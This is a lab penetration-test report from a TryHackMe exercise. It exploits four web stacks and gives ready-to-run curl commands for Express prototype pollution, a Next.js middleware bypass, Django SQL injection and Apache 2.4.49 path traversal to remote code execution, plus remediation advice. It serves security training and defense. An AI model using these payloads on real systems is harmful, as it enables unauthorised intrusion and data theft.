

SECURITY ASSESSMENT

# Professional Project Recap & Security Assessment

---

Technical Documentation and Findings Report

MADE BY

**Salah Atta**

# Table of Contents

---

|            |                                            |    |
|------------|--------------------------------------------|----|
| <b>1</b>   | Executive Summary                          | 3  |
| <b>2</b>   | Technical Summary                          | 3  |
| <b>3</b>   | Introduction                               | 4  |
| <b>4</b>   | Work Summary                               | 5  |
| <b>4.1</b> | Target Enumeration and Scope Confirmation  | 5  |
| <b>4.2</b> | MERN Stack — Prototype Pollution           | 5  |
| <b>4.3</b> | Next.js — Middleware Authentication Bypass | 6  |
| <b>4.4</b> | Django — SQL Injection                     | 7  |
| <b>4.5</b> | LAMP — Apache Path Traversal to RCE        | 8  |
| <b>5</b>   | Tools and Technologies                     | 9  |
| <b>6</b>   | Findings and Vulnerabilities               | 10 |
| <b>7</b>   | Problems and Solutions                     | 13 |
| <b>8</b>   | Key Learnings                              | 14 |
| <b>9</b>   | Visual Evidence                            | 15 |
| <b>10</b>  | Final Notes                                | 15 |

# 1. Executive Summary

This report documents a structured security assessment carried out against a single target host that deliberately ran four separate web applications, each built on a different modern technology stack. The purpose of the engagement was to identify each application, confirm the technology and version behind it, and demonstrate a working exploit for the weakness present in each one.

All four applications were successfully identified and compromised. In every case the work followed the same disciplined approach: observe the application from the outside, confirm what technology it used, understand why the weakness existed, and only then carry out a targeted exploit. No blind scanning or guesswork was used.

The assessment achieved every objective set at the start. The main results were as follows. The first application leaked administrative access because it trusted user supplied data without checking it. The second application allowed its login protection to be skipped entirely using a single crafted request. The third application exposed the contents of its database through a flaw in how it built database queries. The fourth application allowed full command execution on the underlying server without any login at all.

The overall outcome is that each stack was shown to contain a critical weakness that a real attacker could exploit with very little effort. Three of the four issues required no credentials of any kind. The findings in this report are ordered by severity and each one includes clear, practical guidance on how it should be fixed.

| Target Application | Technology        | Weakness Demonstrated                                    | Severity |
|--------------------|-------------------|----------------------------------------------------------|----------|
| Port 3000          | MERN / Express.js | Prototype Pollution leading to admin access              | CRITICAL |
| Port 3001          | Next.js           | Authentication bypass (CVE-2025-29927)                   | CRITICAL |
| Port 8000          | Django / MySQL    | SQL Injection (CVE-2021-35042)                           | CRITICAL |
| Port 8080          | Apache 2.4.49     | Path traversal to remote code execution (CVE-2021-41773) | CRITICAL |

## 2. Technical Summary

---

The target was an Ubuntu 22.04 host exposing four web services on ports 3000, 3001, 8000 and 8080. Each service represented a distinct web stack: a MERN application on Express.js, a Next.js application using the App Router, a Django application backed by MySQL, and a LAMP service running Apache 2.4.49 inside a container. All testing was performed from a Kali Linux attack machine over the lab network using command line tooling only.

The methodology was consistent across all four targets and mirrored a real time boxed web engagement. Each target was first fingerprinted passively by reading HTTP response headers, cookie names, error page formats and page source artifacts. The exact framework and version were confirmed before any exploit payload was sent. The reason each weakness existed was understood at a code level, and only then was a single targeted exploit executed and verified.

The technologies involved spanned the modern web landscape: Node.js with Express and the express-session middleware, Next.js with React Server Components and middleware based access control, Django with its ORM and security middleware sitting in front of a MySQL database, and the classic Apache, MySQL and PHP combination. The primary tool throughout was `curl`, used for both reconnaissance and exploitation, supported by `grep` for output filtering.

The security concepts demonstrated were prototype pollution in JavaScript, trust boundary failure in framework internal headers, error based SQL injection through unsanitised query construction, and path traversal filter bypass through encoding combined with CGI execution. The technical achievements were a full administrative takeover of the MERN application, a complete authentication bypass on the Next.js application, extraction of database metadata from the Django application, and unauthenticated remote code execution on the Apache host.

### 3. Introduction

The purpose of this project was to build and demonstrate practical web application penetration testing skill across the technology stacks that are most common in production today. Rather than testing a single application, the engagement deliberately placed four different stacks on one host so that the core discipline of stack identification before exploitation could be practised four times in succession.

#### Goals

The goals were to identify each web stack from observable signals alone, to confirm the precise framework and version behind each service, to understand the root cause of the weakness in each one, and to execute a verified exploit that proved real impact. A secondary goal was to record every step in enough detail to produce this client ready report.

#### Scope

The scope was limited to the single target host and the four web services it exposed on ports 3000, 3001, 8000 and 8080. All four ports were reachable directly from the attack machine. No other hosts, networks or services were in scope, and testing was confined to the techniques described in this document.

#### Environment

|                 |                                       |
|-----------------|---------------------------------------|
| Attack Platform | Kali Linux                            |
| Target Host     | Ubuntu 22.04 (IP 10.128.145.197)      |
| Primary Tooling | curl, grep                            |
| Service 1       | Port 3000 — MERN / Express.js         |
| Service 2       | Port 3001 — Next.js (App Router)      |
| Service 3       | Port 8000 — Django / MySQL            |
| Service 4       | Port 8080 — Apache 2.4.49 (container) |

## 4. Work Summary

---

This section is a chronological walkthrough of the engagement. Each target was approached in the same order: confirm the technology, confirm the protection was working, then bypass it. Every command used is shown and explained.

### 4.1 Target Enumeration and Scope Confirmation

#### What was done

The four in scope services were confirmed reachable on the target host before any testing began. The host exposed Express on port 3000, Next.js on port 3001, Django on port 8000 and Apache on port 8080.

#### Why it was done

Confirming the live services and their stacks first prevents wasted effort and ensures every later action is targeted at a known technology rather than guessed.

#### Expected and actual outcome

All four services were expected to respond, and all four did. The engagement proceeded one target at a time.

### 4.2 MERN Stack — Prototype Pollution

#### What was done and why

The Express application on port 3000 was fingerprinted, its admin route was confirmed to be protected, and a prototype pollution payload was then used to grant administrative access and retrieve the flag. This was done because Express applications frequently merge user supplied JSON into internal objects without filtering, which is the exact condition prototype pollution needs.

#### Step 1 — Obtain a session cookie

```
$ curl -c cookies.txt http://10.128.145.197:3000/
```

*This requests the homepage and saves the session cookie the server issues into a local file named cookies.txt.*

**Expected:** the homepage HTML and a saved cookie. **Actual:** the page returned `MERN Lab App` and a `connect.sid` session cookie was saved, confirming the express-session middleware.

#### Step 2 — Inspect the saved cookie

```
$ cat cookies.txt
```

*This prints the contents of the cookie file so the session cookie name and value can be verified.*

**Actual:** the file contained a `connect.sid` entry, the definitive Express session cookie used to replay all later requests.

### Step 3 — Confirm the admin route is protected

```
$ curl -b cookies.txt http://10.128.145.197:3000/api/admin/flag
```

*This sends the saved session cookie to the protected admin endpoint to check whether access control is enforced.*

**Expected and actual:** the server returned `{"error": "Not authorized"}`, confirming that a normal session user has no administrative access.

### Step 4 — Send the prototype pollution payload

```
$ curl -b cookies.txt -X POST http://10.128.145.197:3000/api/user/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
```

*This posts a JSON object whose `__proto__` key injects the `isAdmin` property onto the shared `Object.prototype` rather than onto a single user object.*

**Expected and actual:** the server returned `{"status": "updated"}`. Because the merge function recurses into the `__proto__` key without filtering, `Object.prototype.isAdmin` was set to true across the entire Node.js process.

### Step 5 — Retrieve the admin flag

```
$ curl -b cookies.txt http://10.128.145.197:3000/api/admin/flag
```

*This re-requests the admin endpoint, which now resolves `isAdmin` as true through the polluted prototype chain and returns the flag.*

**Actual:** the endpoint returned `{"flag": "THM{pr0t0_p0llut3d}"}`.

## 4.3 Next.js — Middleware Authentication Bypass

### What was done and why

The Next.js application on port 3001 used middleware to protect its dashboard. The protection was first confirmed, then bypassed using CVE-2025-29927, which abuses an internal header that Next.js trusts without verifying its origin.

### Step 1 — Confirm the dashboard is protected

```
$ curl -v http://10.128.145.197:3001/dashboard
```

*This requests the dashboard with no session cookie and uses verbose mode to show the full response, including any redirect.*

**Expected and actual:** the server replied with `HTTP/1.1 307 Temporary Redirect` to `/login`, confirming the middleware gate was working.

## Step 2 — Bypass the middleware

```
$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://10.128.145.197:3001/dashboard
```

*This adds the internal x-middleware-subrequest header, which causes Next.js to believe middleware has already run and to skip the authentication check entirely.*

**Actual:** the dashboard HTML was returned directly. It contained `Flag: THM{m1ddl3w4r3_byp4ss3d}` and the `window.__next_f` hydration array that confirms an App Router application.

## 4.4 Django — SQL Injection

### What was done and why

The Django application on port 8000 exposed a product catalogue whose sort parameter was concatenated directly into a raw SQL query. This was exploited with an error based injection technique to extract database information, demonstrating CVE-2021-35042.

### Step 1 — Extract the database version

```
$ curl -s "http://10.128.145.197:8000/products/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'
```

*This injects an updatexml call that forces MySQL to leak the version string inside an error message, then filters the output to show only the leaked value.*

**Actual:** the response returned `~8.0.45-0ubuntu0.22.04.1`, confirming both that the injection executed and that the backend was MySQL 8.0.

### Step 2 — Extract the database name

```
$ curl -s "http://10.128.145.197:8000/products/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'
```

*This uses the same error based technique but calls the database() function to reveal the name of the active database.*

**Actual:** the response returned `~vuln_db`, the name of the database used by the application.

## 4.5 LAMP — Apache Path Traversal to RCE

### What was done and why

The Apache 2.4.49 service on port 8080 was vulnerable to CVE-2021-41773. A path traversal sequence using encoded dots was combined with the mod\_cgi module to execute commands on the server without any authentication.



## Step 1 — Confirm remote code execution

```
$ curl -s --path-as-is "http://10.128.145.197:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; id'
```

*This traverses from the cgi-bin directory to the system shell using encoded dots that bypass the path filter, then runs the id command through it; the --path-as-is flag stops curl from cleaning the traversal sequence.*

**Actual:** the server returned `uid=1(daemon) gid=1(daemon) groups=1(daemon)` , confirming code execution as the daemon user.

## Step 2 — Read the flag

```
$ curl -s --path-as-is "http://10.128.145.197:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'
```

*This reuses the same execution path but runs cat against the flag file to read its contents off the target filesystem.*

**Actual:** the server returned `THM{4p4ch3_p4th_tr4v3rs4l}` .

## 5. Tools and Technologies

The table below lists every tool, technology and platform used or encountered during the engagement.

| Category         | Tool / Technology    | Purpose                                                                                         |
|------------------|----------------------|-------------------------------------------------------------------------------------------------|
| Operating System | Kali Linux           | Attack platform used to run all reconnaissance and exploitation commands.                       |
| Operating System | Ubuntu 22.04         | Target host operating system running the four web services.                                     |
| Networking Tool  | curl                 | Primary tool for sending HTTP requests, fingerprinting headers and delivering exploit payloads. |
| Utility          | grep                 | Filtering raw HTTP responses to isolate leaked values during SQL injection.                     |
| Framework        | Express.js (Node.js) | Backend of the MERN application on port 3000.                                                   |
| Library          | express-session      | Session middleware that issued the connect.sid cookie used to replay requests.                  |
| Framework        | Next.js (App Router) | React framework on port 3001 using middleware for access control.                               |
| Framework        | Django 3.2.4         | Python web framework on port 8000 serving the vulnerable product catalogue.                     |
| Database         | MySQL 8.0.45         | Database backing the Django application, targeted through SQL injection.                        |
| Web Server       | Apache 2.4.49 (Unix) | Web server on port 8080 vulnerable to path traversal and CGI based RCE.                         |
| Apache Module    | mod_cgi              | Module that allowed the traversal to reach and execute the system shell.                        |
| Platform         | TryHackMe            | Lab platform hosting the target environment.                                                    |
| Virtual Machine  | Containerised Apache | Apache 2.4.49 ran inside a Docker container on the target host.                                 |

## 6. Findings and Vulnerabilities

All four findings are rated Critical. They are presented in order of exploitation simplicity and impact, beginning with the unauthenticated remote code execution, which carries the greatest risk.

### F-01 — Unauthenticated Remote Code Execution in Apache 2.4.49

CRITICAL

#### Description

The Apache 2.4.49 server on port 8080 is vulnerable to CVE-2021-41773. A flaw in the path normalisation logic allows the directory traversal filter to be bypassed using encoded dot sequences. Combined with the `mod_cgi` module enabled on the `cgi-bin` directory, this allows an attacker to reach and execute the system shell. The impact is complete unauthenticated command execution on the host with the privileges of the web process. An attacker can read sensitive files, pivot further into the environment and establish persistence.

#### Exploitation Steps

1. Identify the server version from the Server header as `Apache/2.4.49 (Unix)`.
2. Confirm `mod_cgi` by requesting `/cgi-bin/` and observing a 403 Forbidden rather than a 404.
3. Execute the traversal payload to confirm RCE:

```
$ curl -s --path-as-is "http://10.128.145.197:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; id'
```

4. Result obtained: `uid=1(daemon) gid=1(daemon) groups=1(daemon)`, then the flag `THM{4p4ch3_p4th_tr4v3rs4l}`.

#### Recommendation

The immediate fix is to upgrade Apache to version 2.4.51 or later, which fully patches both the original flaw and the double encoding bypass tracked as CVE-2021-42013. The long term fix is to disable `mod_cgi` where it is not required and to never expose CGI directories without strict need. As best practice, run the web server as an unprivileged account, keep all server software on a managed patch cycle, and monitor for traversal patterns in request logs.

## F-02 — SQL Injection in Django Application

CRITICAL

### Description

The Django application on port 8000 builds a SQL query by concatenating the user controlled order parameter directly into an ORDER BY clause, bypassing the protection the ORM normally provides. This is CVE-2021-35042. Because debug mode is enabled, error based injection using updatexml leaks database contents directly in the response body. The impact is full read access to the database, including potentially user credentials and sensitive application data.

### Exploitation Steps

1. Identify Django from the csrftoken cookie and the csrfmiddlewaretoken hidden form field.
2. Confirm the injection point in the order parameter and extract the version:

```
$ curl -s "http://10.128.145.197:8000/products/?order=updatexml(1,concat(0x7e,(select @@version)),1)"
```

3. Result obtained: `~8.0.45-0ubuntu0.22.04.1`.
4. Extract the database name with `(select database())`; result obtained: `~vuln_db`.

### Recommendation

The immediate fix is to upgrade Django to a patched release and to never concatenate user input into raw SQL. The long term fix is to use the ORM or parameterised queries exclusively, and to validate the order parameter against an allowlist of known column names. As best practice, disable debug mode in any environment that is reachable by untrusted users so that database errors are never returned in responses.

## F-03 — Authentication Bypass in Next.js Middleware

CRITICAL

### Description

The Next.js application on port 3001 relies on middleware to protect its dashboard. CVE-2025-29927 allows this middleware to be skipped entirely by supplying the internal x-middleware-subrequest header, which the framework trusts without verifying its origin. The impact is a complete authentication bypass with a single request and no credentials, exposing any route that depends on middleware for access control.

### Exploitation Steps

1. Confirm the protection by requesting `/dashboard` without a cookie and observing a 307 redirect to `/login`.
2. Send the bypass header:

```
$ curl -H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware" http://10.128.145.197:3001/
dashboard
```

3. Result obtained: the dashboard rendered directly with the flag `THM{m1ddl3w4r3_byp4ss3d}`.

### Recommendation

The immediate fix is to upgrade Next.js to a patched version that rejects externally supplied x-middleware-subrequest headers. The long term fix is to enforce authorisation at the data and route handler layer rather than relying on middleware alone, so a single bypass cannot expose protected content. As best practice, treat any framework internal header arriving from a client as untrusted and strip it at the edge.

## F-04 — Prototype Pollution in MERN Application

CRITICAL

### Description

The Express application on port 3000 exposes an update endpoint that merges user supplied JSON into a session object without filtering dangerous keys. Sending a payload targeting `__proto__` writes properties onto the shared `Object.prototype`, affecting every object in the running process. This was used to set `isAdmin` to `true` and retrieve an administrative flag. The impact is privilege escalation to administrator and, depending on the application, can extend to denial of service or remote code execution.

### Exploitation Steps

1. Obtain a session cookie and confirm the admin route returns `{"error": "Not authorized"}`.
2. Send the pollution payload:

```
$ curl -b cookies.txt -X POST http://10.128.145.197:3000/api/user/update -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
```

3. Request the admin flag again; result obtained: `{"flag": "THM{pr0t0_p0llut3d}"}`.

### Recommendation

The immediate fix is to reject or strip the `__proto__`, `constructor` and `prototype` keys in any merge of user input. The long term fix is to avoid recursive merge of untrusted data entirely and to use safe object creation with a null prototype for data containers. As best practice, validate all incoming JSON against a strict schema so that only expected fields are ever accepted.

## 7. Problems and Solutions

---

### Curl Normalising the Traversal Sequence

**Problem:** The Apache traversal payload returned a 403 Forbidden instead of executing the shell.

**Root Cause:** By default curl cleans up dot sequences in a URL before sending the request, so the encoded traversal never reached the server in its intended form.

**Identification:** The 403 response together with the known behaviour of curl pointed directly to client side normalisation as the cause.

**Resolution:** The `--path-as-is` flag was added so curl sent the URL exactly as written.

**Result:** The traversal reached the server intact and the shell executed, returning the expected command output.

### Filtering Noisy SQL Injection Output

**Problem:** The Django error response was large and the leaked value was hard to read among the surrounding HTML.

**Root Cause:** Debug mode produces a verbose error page that repeats the error message in several places.

**Identification:** Reading the raw response showed the target value was always prefixed by the tilde delimiter that the payload deliberately added.

**Resolution:** Output was piped through `grep -o` with a pattern anchored on the tilde to extract only the leaked value.

**Result:** The version and database name were displayed cleanly, with the repeated lines confirming a consistent result.

### Distinguishing the Stacks Before Exploiting

**Problem:** Four services on one host could easily lead to the wrong exploit being aimed at the wrong stack.

**Root Cause:** Several modern stacks share surface similarities such as JSON APIs and Node based runtimes.

**Identification:** Each service was fingerprinted in isolation using its unique signals, such as the X-Powered-By header, the connect.sid cookie, the window.\_\_next\_f artifact, the csrfmiddlewaretoken field and the Apache version string.

**Resolution:** The stack was confirmed for each port before any payload was sent, and exploits were matched to the confirmed version.

**Result:** Every exploit was aimed correctly on the first attempt with no wasted requests.

## 8. Key Learnings

---

The most important technical lesson from this engagement is that a vulnerability is far easier to exploit reliably once its root cause is understood, because the understanding tells you exactly which signal to read and which payload to send. Reading why prototype pollution reaches the shared `Object.prototype`, or why the Apache filter fails to decode the encoded dots, turned each exploit from a guess into a deliberate action.

On the security side, the engagement reinforced that trust boundaries are where modern web applications most often fail. The Next.js bypass existed because the framework trusted a header that should only ever originate internally, and the MERN takeover existed because the application trusted the shape of user supplied JSON. In both cases the weakness was a failure to treat external input as hostile.

The troubleshooting lessons were practical and transferable. The Apache 403 taught that the testing tool itself can silently alter a request, and that knowing the default behaviour of your tools is as important as knowing the target. The noisy Django output taught the value of shaping a payload so that its result is easy to extract, in this case by adding a known delimiter and filtering for it.

In terms of workflow, performing the same identify, confirm, understand and exploit cycle four times in a row proved that a consistent methodology scales across very different technologies. The best practice that emerged most clearly is to always fingerprint and confirm a version before reaching for any exploit, because evidence driven targeting is faster, quieter and more reliable than scanning blindly.



## 9. Visual Evidence

The engagement was conducted entirely through the command line. The terminal outputs below are the primary evidence captured for each target. No graphical screenshots were produced during this assessment.

### MERN — Polluted prototype returns the admin flag

```
$ curl -b cookies.txt -X POST .../api/user/update -d '{"__proto__": {"isAdmin": true}}'
{"status": "updated"}
$ curl -b cookies.txt .../api/admin/flag
{"flag": "THM{pr0t0_p0llut3d}"}
```

*Evidence 1 — Prototype pollution payload accepted, followed by successful admin flag retrieval.*

### Next.js — Middleware bypassed via crafted header

```
$ curl -H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware" .../dashboard
<h1>Dashboard</h1><p>Flag: THM{m1ddl3w4r3_byp4ss3d}</p>
```

*Evidence 2 — Dashboard rendered directly without authentication, exposing the flag.*

### Django — Database name leaked through error based injection

```
$ curl -s ".../products/?order=updatexml(1,concat(0x7e,(select database())),1)" | grep -o
'~[0-9a-zA-Z_][^&]*'
~vuln_db
```

*Evidence 3 — The active database name vuln\_db extracted from the MySQL error message.*

### LAMP — Remote code execution as the daemon user

```
$ curl -s --path-as-is ".../cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type:
text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

*Evidence 4 — Command execution confirmed on the Apache host without authentication.*

## 10. Final Notes

---

This engagement accomplished its full objective. Four distinct modern web stacks were each identified from passive signals, confirmed by version, understood at a root cause level and then exploited with a single targeted technique. Every flag in scope was recovered and every finding was documented with reproducible steps and clear remediation guidance.

The main challenges overcome were practical rather than conceptual: correcting a tool behaviour that silently broke a payload, shaping injection output so it could be read cleanly, and keeping four very similar looking services cleanly separated so that each exploit was aimed correctly. Each was resolved by understanding the underlying behaviour rather than trial and error.

The final outcome is a complete set of four critical findings, three of which require no authentication, demonstrating that modern frameworks are only as secure as the trust boundaries the developers maintain around them. The overall value of this work is twofold. It proves a repeatable, evidence driven methodology that applies across any web stack, and it produces a clear record that an organisation could act on directly to close every issue identified.